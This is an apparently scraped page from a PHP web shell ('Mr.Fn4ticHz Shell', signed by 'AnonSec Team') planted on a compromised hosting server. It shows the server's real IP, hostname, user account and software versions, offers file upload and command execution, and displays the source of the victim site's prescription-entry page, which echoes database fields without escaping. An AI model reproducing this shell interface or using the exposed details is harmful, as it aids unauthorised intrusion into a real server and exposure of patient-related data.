Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.21.244.217
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/newmedicine2.php
<html>
 <head>

  <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>  
 </head>
 <body>

   <br />
   <form method="post" id="add_details">

    <div class="form-group">
     <label>First Name</label>
     <input type="text" name="prescriptionid"  required />
    </div>
    <div class="form-group">
     <label>Last Name</label>
     <input type="text" name="patientid" required />
    </div>

    
    <div class="form-group">
     <input type="submit" name="add" id="add" class="btn btn-success" value="Submit" />
    </div>
   </form>
    <br />
<table id='example2' class='table table-bordered table-hover'>
    <thead>
     <tr>
      <th>Drugs Name</th>
      <th>Last Name</th>
     
     </tr>
    </thead>
    <tbody id="table_data">
    <?php
    foreach($result as $row)
    {
     echo '
     <tr>
      <td>'.$row["prescriptionid"].'</td>
      <td>'.$row["patientid"].'</td>
      <td>'.$row["DRUGS"].'</td>
      <td>'.$row["Category"].'</td>
     <td>'.$row["Dose"].'</td>
     <td>'.$row["Route"].'</td>
    <td>'.$row["Frequency"].'</td>
     <td>'.$row["duration"].'</td>
     <td>'.$row["durationselect"].'</td>
    <td>'.$row["potential"].'</td>
   <td>'.$row["poa"].'</td>
   <td>'.$row["status"].'</td>
   <td>'.$row["Action_med"].'</td>
   <td>'.$row["availability"].'</td>
   <td>'.$row["batchno"].'</td>
     <td>'.$row["entered_by"].'</td>
       <td>'.$row["created_at"].'</td>
          <td>'.$row["updated_at"].'</td>
       </tr>
     ';
    }
    ?>
    </tbody>
   </table>
 </body>
</html>

<script>
$(document).ready(function(){
 
 $('#add_details').on('submit', function(event){
  event.preventDefault();
  $.ajax({
   url:"code.php",
   method:"POST",
   data:$(this).serialize(),
   dataType:"json",
   beforeSend:function(){
    $('#add').attr('disabled', 'disabled');
   },
   success:function(data){
    $('#add').attr('disabled', false);
    if(data.prescriptionid)
    {
     var html = '<tr>';
     html += '<td>'+data.prescriptionid+'</td>';
     html += '<td>'+data.patientid+'</td>';
     html += '<td>'+data.DRUGS+'</td>';
     html += '<td>'+data.Category+'</td>';
     html += '<td>'+data.Dose+'</td>';
     html += '<td>'+data.Route+'</td>';
     html += '<td>'+data.Frequency+'</td>';
     html += '<td>'+data.duration+'</td>';
     html += '<td>'+data.durationselect+'</td>';
     html += '<td>'+data.potential+'</td>';
     html += '<td>'+data.poa+'</td>';
     html += '<td>'+data.status+'</td>';
     html += '<td>'+data.Action_med+'</td>';
     html += '<td>'+data.availability+'</td>';
     html += '<td>'+data.batchno+'</td>';
     html += '<td>'+data.entered_by+'</td>';
     html += '<td>'+data.created_at+'</td>';
    html += '<td>'+data.updated_at+'</td></tr>';
   $('#table_data').prepend(html);
     $('#add_details')[0].reset();
    }
   }
  })
 });
 
});
</script>

    <script>
 function drmdiload(drmeid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divmedidr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loaddrug.php?drmeid="+drmeid,true);
        xmlhttp.send();
}
            
     
</script>

Anon7 - 2022
AnonSec Team